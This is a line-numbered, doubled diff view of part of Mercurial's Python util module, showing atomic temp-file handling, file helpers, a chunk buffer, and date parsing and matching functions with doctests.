1689 self._fp.close()
1688 filename = localpath(self.__name)
1690 filename = localpath(self.__name)
1689 oldstat = self._checkambig and filestat.frompath(filename)
1691 oldstat = self._checkambig and filestat.frompath(filename)
1690 if oldstat and oldstat.stat:
1692 if oldstat and oldstat.stat:
1691 rename(self._tempname, filename)
1693 rename(self._tempname, filename)
1692 newstat = filestat.frompath(filename)
1694 newstat = filestat.frompath(filename)
1693 if newstat.isambig(oldstat):
1695 if newstat.isambig(oldstat):
1694 # stat of changed file is ambiguous to original one
1696 # stat of changed file is ambiguous to original one
1695 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1697 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1696 os.utime(filename, (advanced, advanced))
1698 os.utime(filename, (advanced, advanced))
1697 else:
1699 else:
1698 rename(self._tempname, filename)
1700 rename(self._tempname, filename)
1699
1701
1700 def discard(self):
1702 def discard(self):
1701 if not self._fp.closed:
1703 if not self._fp.closed:
1702 try:
1704 try:
1703 os.unlink(self._tempname)
1705 os.unlink(self._tempname)
1704 except OSError:
1706 except OSError:
1705 pass
1707 pass
1706 self._fp.close()
1708 self._fp.close()
1707
1709
1708 def __del__(self):
1710 def __del__(self):
1709 if safehasattr(self, '_fp'): # constructor actually did something
1711 if safehasattr(self, '_fp'): # constructor actually did something
1710 self.discard()
1712 self.discard()
1711
1713
1712 def __enter__(self):
1714 def __enter__(self):
1713 return self
1715 return self
1714
1716
1715 def __exit__(self, exctype, excvalue, traceback):
1717 def __exit__(self, exctype, excvalue, traceback):
1716 if exctype is not None:
1718 if exctype is not None:
1717 self.discard()
1719 self.discard()
1718 else:
1720 else:
1719 self.close()
1721 self.close()
1720
1722
1721 def unlinkpath(f, ignoremissing=False):
1723 def unlinkpath(f, ignoremissing=False):
1722 """unlink and remove the directory if it is empty"""
1724 """unlink and remove the directory if it is empty"""
1723 if ignoremissing:
1725 if ignoremissing:
1724 tryunlink(f)
1726 tryunlink(f)
1725 else:
1727 else:
1726 unlink(f)
1728 unlink(f)
1727 # try removing directories that might now be empty
1729 # try removing directories that might now be empty
1728 try:
1730 try:
1729 removedirs(os.path.dirname(f))
1731 removedirs(os.path.dirname(f))
1730 except OSError:
1732 except OSError:
1731 pass
1733 pass
1732
1734
1733 def tryunlink(f):
1735 def tryunlink(f):
1734 """Attempt to remove a file, ignoring ENOENT errors."""
1736 """Attempt to remove a file, ignoring ENOENT errors."""
1735 try:
1737 try:
1736 unlink(f)
1738 unlink(f)
1737 except OSError as e:
1739 except OSError as e:
1738 if e.errno != errno.ENOENT:
1740 if e.errno != errno.ENOENT:
1739 raise
1741 raise
1740
1742
1741 def makedirs(name, mode=None, notindexed=False):
1743 def makedirs(name, mode=None, notindexed=False):
1742 """recursive directory creation with parent mode inheritance
1744 """recursive directory creation with parent mode inheritance
1743
1745
1744 Newly created directories are marked as "not to be indexed by
1746 Newly created directories are marked as "not to be indexed by
1745 the content indexing service", if ``notindexed`` is specified
1747 the content indexing service", if ``notindexed`` is specified
1746 for "write" mode access.
1748 for "write" mode access.
1747 """
1749 """
1748 try:
1750 try:
1749 makedir(name, notindexed)
1751 makedir(name, notindexed)
1750 except OSError as err:
1752 except OSError as err:
1751 if err.errno == errno.EEXIST:
1753 if err.errno == errno.EEXIST:
1752 return
1754 return
1753 if err.errno != errno.ENOENT or not name:
1755 if err.errno != errno.ENOENT or not name:
1754 raise
1756 raise
1755 parent = os.path.dirname(os.path.abspath(name))
1757 parent = os.path.dirname(os.path.abspath(name))
1756 if parent == name:
1758 if parent == name:
1757 raise
1759 raise
1758 makedirs(parent, mode, notindexed)
1760 makedirs(parent, mode, notindexed)
1759 try:
1761 try:
1760 makedir(name, notindexed)
1762 makedir(name, notindexed)
1761 except OSError as err:
1763 except OSError as err:
1762 # Catch EEXIST to handle races
1764 # Catch EEXIST to handle races
1763 if err.errno == errno.EEXIST:
1765 if err.errno == errno.EEXIST:
1764 return
1766 return
1765 raise
1767 raise
1766 if mode is not None:
1768 if mode is not None:
1767 os.chmod(name, mode)
1769 os.chmod(name, mode)
1768
1770
1769 def readfile(path):
1771 def readfile(path):
1770 with open(path, 'rb') as fp:
1772 with open(path, 'rb') as fp:
1771 return fp.read()
1773 return fp.read()
1772
1774
1773 def writefile(path, text):
1775 def writefile(path, text):
1774 with open(path, 'wb') as fp:
1776 with open(path, 'wb') as fp:
1775 fp.write(text)
1777 fp.write(text)
1776
1778
1777 def appendfile(path, text):
1779 def appendfile(path, text):
1778 with open(path, 'ab') as fp:
1780 with open(path, 'ab') as fp:
1779 fp.write(text)
1781 fp.write(text)
1780
1782
1781 class chunkbuffer(object):
1783 class chunkbuffer(object):
1782 """Allow arbitrary sized chunks of data to be efficiently read from an
1784 """Allow arbitrary sized chunks of data to be efficiently read from an
1783 iterator over chunks of arbitrary size."""
1785 iterator over chunks of arbitrary size."""
1784
1786
1785 def __init__(self, in_iter):
1787 def __init__(self, in_iter):
1786 """in_iter is the iterator that's iterating over the input chunks."""
1788 """in_iter is the iterator that's iterating over the input chunks."""
1787 def splitbig(chunks):
1789 def splitbig(chunks):
1788 for chunk in chunks:
1790 for chunk in chunks:
1789 if len(chunk) > 2**20:
1791 if len(chunk) > 2**20:
1790 pos = 0
1792 pos = 0
1791 while pos < len(chunk):
1793 while pos < len(chunk):
1792 end = pos + 2 ** 18
1794 end = pos + 2 ** 18
1793 yield chunk[pos:end]
1795 yield chunk[pos:end]
1794 pos = end
1796 pos = end
1795 else:
1797 else:
1796 yield chunk
1798 yield chunk
1797 self.iter = splitbig(in_iter)
1799 self.iter = splitbig(in_iter)
1798 self._queue = collections.deque()
1800 self._queue = collections.deque()
1799 self._chunkoffset = 0
1801 self._chunkoffset = 0
1800
1802
1801 def read(self, l=None):
1803 def read(self, l=None):
1802 """Read L bytes of data from the iterator of chunks of data.
1804 """Read L bytes of data from the iterator of chunks of data.
1803 Returns less than L bytes if the iterator runs dry.
1805 Returns less than L bytes if the iterator runs dry.
1804
1806
1805 If size parameter is omitted, read everything"""
1807 If size parameter is omitted, read everything"""
1806 if l is None:
1808 if l is None:
1807 return ''.join(self.iter)
1809 return ''.join(self.iter)
1808
1810
1809 left = l
1811 left = l
1810 buf = []
1812 buf = []
1811 queue = self._queue
1813 queue = self._queue
1812 while left > 0:
1814 while left > 0:
1813 # refill the queue
1815 # refill the queue
1814 if not queue:
1816 if not queue:
1815 target = 2**18
1817 target = 2**18
1816 for chunk in self.iter:
1818 for chunk in self.iter:
1817 queue.append(chunk)
1819 queue.append(chunk)
1818 target -= len(chunk)
1820 target -= len(chunk)
1819 if target <= 0:
1821 if target <= 0:
1820 break
1822 break
1821 if not queue:
1823 if not queue:
1822 break
1824 break
1823
1825
1824 # The easy way to do this would be to queue.popleft(), modify the
1826 # The easy way to do this would be to queue.popleft(), modify the
1825 # chunk (if necessary), then queue.appendleft(). However, for cases
1827 # chunk (if necessary), then queue.appendleft(). However, for cases
1826 # where we read partial chunk content, this incurs 2 dequeue
1828 # where we read partial chunk content, this incurs 2 dequeue
1827 # mutations and creates a new str for the remaining chunk in the
1829 # mutations and creates a new str for the remaining chunk in the
1828 # queue. Our code below avoids this overhead.
1830 # queue. Our code below avoids this overhead.
1829
1831
1830 chunk = queue[0]
1832 chunk = queue[0]
1831 chunkl = len(chunk)
1833 chunkl = len(chunk)
1832 offset = self._chunkoffset
1834 offset = self._chunkoffset
1833
1835
1834 # Use full chunk.
1836 # Use full chunk.
1835 if offset == 0 and left >= chunkl:
1837 if offset == 0 and left >= chunkl:
1836 left -= chunkl
1838 left -= chunkl
1837 queue.popleft()
1839 queue.popleft()
1838 buf.append(chunk)
1840 buf.append(chunk)
1839 # self._chunkoffset remains at 0.
1841 # self._chunkoffset remains at 0.
1840 continue
1842 continue
1841
1843
1842 chunkremaining = chunkl - offset
1844 chunkremaining = chunkl - offset
1843
1845
1844 # Use all of unconsumed part of chunk.
1846 # Use all of unconsumed part of chunk.
1845 if left >= chunkremaining:
1847 if left >= chunkremaining:
1846 left -= chunkremaining
1848 left -= chunkremaining
1847 queue.popleft()
1849 queue.popleft()
1848 # offset == 0 is enabled by block above, so this won't merely
1850 # offset == 0 is enabled by block above, so this won't merely
1849 # copy via ``chunk[0:]``.
1851 # copy via ``chunk[0:]``.
1850 buf.append(chunk[offset:])
1852 buf.append(chunk[offset:])
1851 self._chunkoffset = 0
1853 self._chunkoffset = 0
1852
1854
1853 # Partial chunk needed.
1855 # Partial chunk needed.
1854 else:
1856 else:
1855 buf.append(chunk[offset:offset + left])
1857 buf.append(chunk[offset:offset + left])
1856 self._chunkoffset += left
1858 self._chunkoffset += left
1857 left -= chunkremaining
1859 left -= chunkremaining
1858
1860
1859 return ''.join(buf)
1861 return ''.join(buf)
1860
1862
1861 def filechunkiter(f, size=131072, limit=None):
1863 def filechunkiter(f, size=131072, limit=None):
1862 """Create a generator that produces the data in the file size
1864 """Create a generator that produces the data in the file size
1863 (default 131072) bytes at a time, up to optional limit (default is
1865 (default 131072) bytes at a time, up to optional limit (default is
1864 to read all data). Chunks may be less than size bytes if the
1866 to read all data). Chunks may be less than size bytes if the
1865 chunk is the last chunk in the file, or the file is a socket or
1867 chunk is the last chunk in the file, or the file is a socket or
1866 some other type of file that sometimes reads less data than is
1868 some other type of file that sometimes reads less data than is
1867 requested."""
1869 requested."""
1868 assert size >= 0
1870 assert size >= 0
1869 assert limit is None or limit >= 0
1871 assert limit is None or limit >= 0
1870 while True:
1872 while True:
1871 if limit is None:
1873 if limit is None:
1872 nbytes = size
1874 nbytes = size
1873 else:
1875 else:
1874 nbytes = min(limit, size)
1876 nbytes = min(limit, size)
1875 s = nbytes and f.read(nbytes)
1877 s = nbytes and f.read(nbytes)
1876 if not s:
1878 if not s:
1877 break
1879 break
1878 if limit:
1880 if limit:
1879 limit -= len(s)
1881 limit -= len(s)
1880 yield s
1882 yield s
1881
1883
1882 def makedate(timestamp=None):
1884 def makedate(timestamp=None):
1883 '''Return a unix timestamp (or the current time) as a (unixtime,
1885 '''Return a unix timestamp (or the current time) as a (unixtime,
1884 offset) tuple based off the local timezone.'''
1886 offset) tuple based off the local timezone.'''
1885 if timestamp is None:
1887 if timestamp is None:
1886 timestamp = time.time()
1888 timestamp = time.time()
1887 if timestamp < 0:
1889 if timestamp < 0:
1888 hint = _("check your clock")
1890 hint = _("check your clock")
1889 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1891 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1890 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1892 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1891 datetime.datetime.fromtimestamp(timestamp))
1893 datetime.datetime.fromtimestamp(timestamp))
1892 tz = delta.days * 86400 + delta.seconds
1894 tz = delta.days * 86400 + delta.seconds
1893 return timestamp, tz
1895 return timestamp, tz
1894
1896
1895 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1897 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1896 """represent a (unixtime, offset) tuple as a localized time.
1898 """represent a (unixtime, offset) tuple as a localized time.
1897 unixtime is seconds since the epoch, and offset is the time zone's
1899 unixtime is seconds since the epoch, and offset is the time zone's
1898 number of seconds away from UTC.
1900 number of seconds away from UTC.
1899
1901
1900 >>> datestr((0, 0))
1902 >>> datestr((0, 0))
1901 'Thu Jan 01 00:00:00 1970 +0000'
1903 'Thu Jan 01 00:00:00 1970 +0000'
1902 >>> datestr((42, 0))
1904 >>> datestr((42, 0))
1903 'Thu Jan 01 00:00:42 1970 +0000'
1905 'Thu Jan 01 00:00:42 1970 +0000'
1904 >>> datestr((-42, 0))
1906 >>> datestr((-42, 0))
1905 'Wed Dec 31 23:59:18 1969 +0000'
1907 'Wed Dec 31 23:59:18 1969 +0000'
1906 >>> datestr((0x7fffffff, 0))
1908 >>> datestr((0x7fffffff, 0))
1907 'Tue Jan 19 03:14:07 2038 +0000'
1909 'Tue Jan 19 03:14:07 2038 +0000'
1908 >>> datestr((-0x80000000, 0))
1910 >>> datestr((-0x80000000, 0))
1909 'Fri Dec 13 20:45:52 1901 +0000'
1911 'Fri Dec 13 20:45:52 1901 +0000'
1910 """
1912 """
1911 t, tz = date or makedate()
1913 t, tz = date or makedate()
1912 if "%1" in format or "%2" in format or "%z" in format:
1914 if "%1" in format or "%2" in format or "%z" in format:
1913 sign = (tz > 0) and "-" or "+"
1915 sign = (tz > 0) and "-" or "+"
1914 minutes = abs(tz) // 60
1916 minutes = abs(tz) // 60
1915 q, r = divmod(minutes, 60)
1917 q, r = divmod(minutes, 60)
1916 format = format.replace("%z", "%1%2")
1918 format = format.replace("%z", "%1%2")
1917 format = format.replace("%1", "%c%02d" % (sign, q))
1919 format = format.replace("%1", "%c%02d" % (sign, q))
1918 format = format.replace("%2", "%02d" % r)
1920 format = format.replace("%2", "%02d" % r)
1919 d = t - tz
1921 d = t - tz
1920 if d > 0x7fffffff:
1922 if d > 0x7fffffff:
1921 d = 0x7fffffff
1923 d = 0x7fffffff
1922 elif d < -0x80000000:
1924 elif d < -0x80000000:
1923 d = -0x80000000
1925 d = -0x80000000
1924 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1926 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1925 # because they use the gmtime() system call which is buggy on Windows
1927 # because they use the gmtime() system call which is buggy on Windows
1926 # for negative values.
1928 # for negative values.
1927 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1929 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1928 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1930 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1929 return s
1931 return s
1930
1932
1931 def shortdate(date=None):
1933 def shortdate(date=None):
1932 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1934 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1933 return datestr(date, format='%Y-%m-%d')
1935 return datestr(date, format='%Y-%m-%d')
1934
1936
1935 def parsetimezone(s):
1937 def parsetimezone(s):
1936 """find a trailing timezone, if any, in string, and return a
1938 """find a trailing timezone, if any, in string, and return a
1937 (offset, remainder) pair"""
1939 (offset, remainder) pair"""
1938
1940
1939 if s.endswith("GMT") or s.endswith("UTC"):
1941 if s.endswith("GMT") or s.endswith("UTC"):
1940 return 0, s[:-3].rstrip()
1942 return 0, s[:-3].rstrip()
1941
1943
1942 # Unix-style timezones [+-]hhmm
1944 # Unix-style timezones [+-]hhmm
1943 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1945 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1944 sign = (s[-5] == "+") and 1 or -1
1946 sign = (s[-5] == "+") and 1 or -1
1945 hours = int(s[-4:-2])
1947 hours = int(s[-4:-2])
1946 minutes = int(s[-2:])
1948 minutes = int(s[-2:])
1947 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1949 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1948
1950
1949 # ISO8601 trailing Z
1951 # ISO8601 trailing Z
1950 if s.endswith("Z") and s[-2:-1].isdigit():
1952 if s.endswith("Z") and s[-2:-1].isdigit():
1951 return 0, s[:-1]
1953 return 0, s[:-1]
1952
1954
1953 # ISO8601-style [+-]hh:mm
1955 # ISO8601-style [+-]hh:mm
1954 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1956 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1955 s[-5:-3].isdigit() and s[-2:].isdigit()):
1957 s[-5:-3].isdigit() and s[-2:].isdigit()):
1956 sign = (s[-6] == "+") and 1 or -1
1958 sign = (s[-6] == "+") and 1 or -1
1957 hours = int(s[-5:-3])
1959 hours = int(s[-5:-3])
1958 minutes = int(s[-2:])
1960 minutes = int(s[-2:])
1959 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1961 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1960
1962
1961 return None, s
1963 return None, s
1962
1964
1963 def strdate(string, format, defaults=None):
1965 def strdate(string, format, defaults=None):
1964 """parse a localized time string and return a (unixtime, offset) tuple.
1966 """parse a localized time string and return a (unixtime, offset) tuple.
1965 if the string cannot be parsed, ValueError is raised."""
1967 if the string cannot be parsed, ValueError is raised."""
1966 if defaults is None:
1968 if defaults is None:
1967 defaults = {}
1969 defaults = {}
1968
1970
1969 # NOTE: unixtime = localunixtime + offset
1971 # NOTE: unixtime = localunixtime + offset
1970 offset, date = parsetimezone(string)
1972 offset, date = parsetimezone(string)
1971
1973
1972 # add missing elements from defaults
1974 # add missing elements from defaults
1973 usenow = False # default to using biased defaults
1975 usenow = False # default to using biased defaults
1974 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1976 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1975 part = pycompat.bytestr(part)
1977 part = pycompat.bytestr(part)
1976 found = [True for p in part if ("%"+p) in format]
1978 found = [True for p in part if ("%"+p) in format]
1977 if not found:
1979 if not found:
1978 date += "@" + defaults[part][usenow]
1980 date += "@" + defaults[part][usenow]
1979 format += "@%" + part[0]
1981 format += "@%" + part[0]
1980 else:
1982 else:
1981 # We've found a specific time element, less specific time
1983 # We've found a specific time element, less specific time
1982 # elements are relative to today
1984 # elements are relative to today
1983 usenow = True
1985 usenow = True
1984
1986
1985 timetuple = time.strptime(encoding.strfromlocal(date),
1987 timetuple = time.strptime(encoding.strfromlocal(date),
1986 encoding.strfromlocal(format))
1988 encoding.strfromlocal(format))
1987 localunixtime = int(calendar.timegm(timetuple))
1989 localunixtime = int(calendar.timegm(timetuple))
1988 if offset is None:
1990 if offset is None:
1989 # local timezone
1991 # local timezone
1990 unixtime = int(time.mktime(timetuple))
1992 unixtime = int(time.mktime(timetuple))
1991 offset = unixtime - localunixtime
1993 offset = unixtime - localunixtime
1992 else:
1994 else:
1993 unixtime = localunixtime + offset
1995 unixtime = localunixtime + offset
1994 return unixtime, offset
1996 return unixtime, offset
1995
1997
1996 def parsedate(date, formats=None, bias=None):
1998 def parsedate(date, formats=None, bias=None):
1997 """parse a localized date/time and return a (unixtime, offset) tuple.
1999 """parse a localized date/time and return a (unixtime, offset) tuple.
1998
2000
1999 The date may be a "unixtime offset" string or in one of the specified
2001 The date may be a "unixtime offset" string or in one of the specified
2000 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2002 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2001
2003
2002 >>> parsedate(' today ') == parsedate(\
2004 >>> parsedate(' today ') == parsedate(\
2003 datetime.date.today().strftime('%b %d'))
2005 datetime.date.today().strftime('%b %d'))
2004 True
2006 True
2005 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
2007 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
2006 datetime.timedelta(days=1)\
2008 datetime.timedelta(days=1)\
2007 ).strftime('%b %d'))
2009 ).strftime('%b %d'))
2008 True
2010 True
2009 >>> now, tz = makedate()
2011 >>> now, tz = makedate()
2010 >>> strnow, strtz = parsedate('now')
2012 >>> strnow, strtz = parsedate('now')
2011 >>> (strnow - now) < 1
2013 >>> (strnow - now) < 1
2012 True
2014 True
2013 >>> tz == strtz
2015 >>> tz == strtz
2014 True
2016 True
2015 """
2017 """
2016 if bias is None:
2018 if bias is None:
2017 bias = {}
2019 bias = {}
2018 if not date:
2020 if not date:
2019 return 0, 0
2021 return 0, 0
2020 if isinstance(date, tuple) and len(date) == 2:
2022 if isinstance(date, tuple) and len(date) == 2:
2021 return date
2023 return date
2022 if not formats:
2024 if not formats:
2023 formats = defaultdateformats
2025 formats = defaultdateformats
2024 date = date.strip()
2026 date = date.strip()
2025
2027
2026 if date == 'now' or date == _('now'):
2028 if date == 'now' or date == _('now'):
2027 return makedate()
2029 return makedate()
2028 if date == 'today' or date == _('today'):
2030 if date == 'today' or date == _('today'):
2029 date = datetime.date.today().strftime('%b %d')
2031 date = datetime.date.today().strftime('%b %d')
2030 elif date == 'yesterday' or date == _('yesterday'):
2032 elif date == 'yesterday' or date == _('yesterday'):
2031 date = (datetime.date.today() -
2033 date = (datetime.date.today() -
2032 datetime.timedelta(days=1)).strftime('%b %d')
2034 datetime.timedelta(days=1)).strftime('%b %d')
2033
2035
2034 try:
2036 try:
2035 when, offset = map(int, date.split(' '))
2037 when, offset = map(int, date.split(' '))
2036 except ValueError:
2038 except ValueError:
2037 # fill out defaults
2039 # fill out defaults
2038 now = makedate()
2040 now = makedate()
2039 defaults = {}
2041 defaults = {}
2040 for part in ("d", "mb", "yY", "HI", "M", "S"):
2042 for part in ("d", "mb", "yY", "HI", "M", "S"):
2041 # this piece is for rounding the specific end of unknowns
2043 # this piece is for rounding the specific end of unknowns
2042 b = bias.get(part)
2044 b = bias.get(part)
2043 if b is None:
2045 if b is None:
2044 if part[0:1] in "HMS":
2046 if part[0:1] in "HMS":
2045 b = "00"
2047 b = "00"
2046 else:
2048 else:
2047 b = "0"
2049 b = "0"
2048
2050
2049 # this piece is for matching the generic end to today's date
2051 # this piece is for matching the generic end to today's date
2050 n = datestr(now, "%" + part[0:1])
2052 n = datestr(now, "%" + part[0:1])
2051
2053
2052 defaults[part] = (b, n)
2054 defaults[part] = (b, n)
2053
2055
2054 for format in formats:
2056 for format in formats:
2055 try:
2057 try:
2056 when, offset = strdate(date, format, defaults)
2058 when, offset = strdate(date, format, defaults)
2057 except (ValueError, OverflowError):
2059 except (ValueError, OverflowError):
2058 pass
2060 pass
2059 else:
2061 else:
2060 break
2062 break
2061 else:
2063 else:
2062 raise error.ParseError(_('invalid date: %r') % date)
2064 raise error.ParseError(_('invalid date: %r') % date)
2063 # validate explicit (probably user-specified) date and
2065 # validate explicit (probably user-specified) date and
2064 # time zone offset. values must fit in signed 32 bits for
2066 # time zone offset. values must fit in signed 32 bits for
2065 # current 32-bit linux runtimes. timezones go from UTC-12
2067 # current 32-bit linux runtimes. timezones go from UTC-12
2066 # to UTC+14
2068 # to UTC+14
2067 if when < -0x80000000 or when > 0x7fffffff:
2069 if when < -0x80000000 or when > 0x7fffffff:
2068 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2070 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2069 if offset < -50400 or offset > 43200:
2071 if offset < -50400 or offset > 43200:
2070 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2072 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2071 return when, offset
2073 return when, offset
2072
2074
2073 def matchdate(date):
2075 def matchdate(date):
2074 """Return a function that matches a given date match specifier
2076 """Return a function that matches a given date match specifier
2075
2077
2076 Formats include:
2078 Formats include:
2077
2079
2078 '{date}' match a given date to the accuracy provided
2080 '{date}' match a given date to the accuracy provided
2079
2081
2080 '<{date}' on or before a given date
2082 '<{date}' on or before a given date
2081
2083
2082 '>{date}' on or after a given date
2084 '>{date}' on or after a given date
2083
2085
2084 >>> p1 = parsedate("10:29:59")
2086 >>> p1 = parsedate("10:29:59")
2085 >>> p2 = parsedate("10:30:00")
2087 >>> p2 = parsedate("10:30:00")
2086 >>> p3 = parsedate("10:30:59")
2088 >>> p3 = parsedate("10:30:59")
2087 >>> p4 = parsedate("10:31:00")
2089 >>> p4 = parsedate("10:31:00")
2088 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2090 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2089 >>> f = matchdate("10:30")
2091 >>> f = matchdate("10:30")
2090 >>> f(p1[0])
2092 >>> f(p1[0])
2091 False
2093 False
2092 >>> f(p2[0])
2094 >>> f(p2[0])
2093 True
2095 True
2094 >>> f(p3[0])
2096 >>> f(p3[0])
2095 True
2097 True
2096 >>> f(p4[0])
2098 >>> f(p4[0])
2097 False
2099 False
2098 >>> f(p5[0])
2100 >>> f(p5[0])
2099 False
2101 False
2100 """
2102 """
2101
2103
2102 def lower(date):
2104 def lower(date):
2103 d = {'mb': "1", 'd': "1"}
2105 d = {'mb': "1", 'd': "1"}
2104 return parsedate(date, extendeddateformats, d)[0]
2106 return parsedate(date, extendeddateformats, d)[0]
2105
2107
2106 def upper(date):
2108 def upper(date):
2107 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2109 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2108 for days in ("31", "30", "29"):
2110 for days in ("31", "30", "29"):
2109 try:
2111 try:
2110 d["d"] = days
2112 d["d"] = days
2111 return parsedate(date, extendeddateformats, d)[0]
2113 return parsedate(date, extendeddateformats, d)[0]
2112 except Abort:
2114 except Abort:
2113 pass
2115 pass
2114 d["d"] = "28"
2116 d["d"] = "28"
2115 return parsedate(date, extendeddateformats, d)[0]
2117 return parsedate(date, extendeddateformats, d)[0]
2116
2118
2117 date = date.strip()
2119 date = date.strip()
2118
2120
2119 if not date:
2121 if not date:
2120 raise Abort(_("dates cannot consist entirely of whitespace"))
2122 raise Abort(_("dates cannot consist entirely of whitespace"))
2121 elif date[0] == "<":
2123 elif date[0] == "<":
2122 if not date[1:]:
2124 if not date[1:]:
2123 raise Abort(_("invalid day spec, use '<DATE'"))
2125 raise Abort(_("invalid day spec, use '<DATE'"))
2124 when = upper(date[1:])
2126 when = upper(date[1:])
2125 return lambda x: x <= when
2127 return lambda x: x <= when
2126 elif date[0] == ">":
2128 elif date[0] == ">":
2127 if not date[1:]:
2129 if not date[1:]:
2128 raise Abort(_("invalid day spec, use '>DATE'"))
2130 raise Abort(_("invalid day spec, use '>DATE'"))
2129 when = lower(date[1:])
2131 when = lower(date[1:])
2130 return lambda x: x >= when
2132 return lambda x: x >= when
2131 elif date[0] == "-":
2133 elif date[0] == "-":
2132 try:
2134 try:
2133 days = int(date[1:])
2135 days = int(date[1:])
2134 except ValueError:
2136 except ValueError:
2135 raise Abort(_("invalid day spec: %s") % date[1:])
2137 raise Abort(_("invalid day spec: %s") % date[1:])
2136 if days < 0:
2138 if days < 0:
2137 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2139 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2138 % date[1:])
2140 % date[1:])
2139 when = makedate()[0] - days * 3600 * 24
2141 when = makedate()[0] - days * 3600 * 24
2140 return lambda x: x >= when
2142 return lambda x: x >= when
2141 elif " to " in date:
2143 elif " to " in date:
2142 a, b = date.split(" to ")
2144 a, b = date.split(" to ")
2143 start, stop = lower(a), upper(b)
2145 start, stop = lower(a), upper(b)
2144 return lambda x: x >= start and x <= stop
2146 return lambda x: x >= start and x <= stop
2145 else:
2147 else:
2146 start, stop = lower(date), upper(date)
2148 start, stop = lower(date), upper(date)
2147 return lambda x: x >= start and x <= stop
2149 return lambda x: x >= start and x <= stop
2148
2150
2149 def stringmatcher(pattern, casesensitive=True):
2151 def stringmatcher(pattern, casesensitive=True):
2150 """
2152 """
2151 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2153 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2152 returns the matcher name, pattern, and matcher function.
2154 returns the matcher name, pattern, and matcher function.
2153 missing or unknown prefixes are treated as literal matches.
2155 missing or unknown prefixes are treated as literal matches.
2154
2156
2155 helper for tests:
2157 helper for tests:
2156 >>> def test(pattern, *tests):
2158 >>> def test(pattern, *tests):
2157 ... kind, pattern, matcher = stringmatcher(pattern)
2159 ... kind, pattern, matcher = stringmatcher(pattern)
2158 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2160 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2159 >>> def itest(pattern, *tests):
2161 >>> def itest(pattern, *tests):
2160 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2162 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2161 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2163 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2162
2164
2163 exact matching (no prefix):
2165 exact matching (no prefix):
2164 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2166 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2165 ('literal', 'abcdefg', [False, False, True])
2167 ('literal', 'abcdefg', [False, False, True])
2166
2168
2167 regex matching ('re:' prefix)
2169 regex matching ('re:' prefix)
2168 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2170 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2169 ('re', 'a.+b', [False, False, True])
2171 ('re', 'a.+b', [False, False, True])
2170
2172
2171 force exact matches ('literal:' prefix)
2173 force exact matches ('literal:' prefix)
2172 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2174 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2173 ('literal', 're:foobar', [False, True])
2175 ('literal', 're:foobar', [False, True])
2174
2176
2175 unknown prefixes are ignored and treated as literals
2177 unknown prefixes are ignored and treated as literals
2176 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2178 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2177 ('literal', 'foo:bar', [False, False, True])
2179 ('literal', 'foo:bar', [False, False, True])
2178
2180
2179 case insensitive regex matches
2181 case insensitive regex matches
2180 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2182 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2181 ('re', 'A.+b', [False, False, True])
2183 ('re', 'A.+b', [False, False, True])
2182
2184
2183 case insensitive literal matches
2185 case insensitive literal matches
2184 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2186 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2185 ('literal', 'ABCDEFG', [False, False, True])
2187 ('literal', 'ABCDEFG', [False, False, True])
2186 """
2188 """
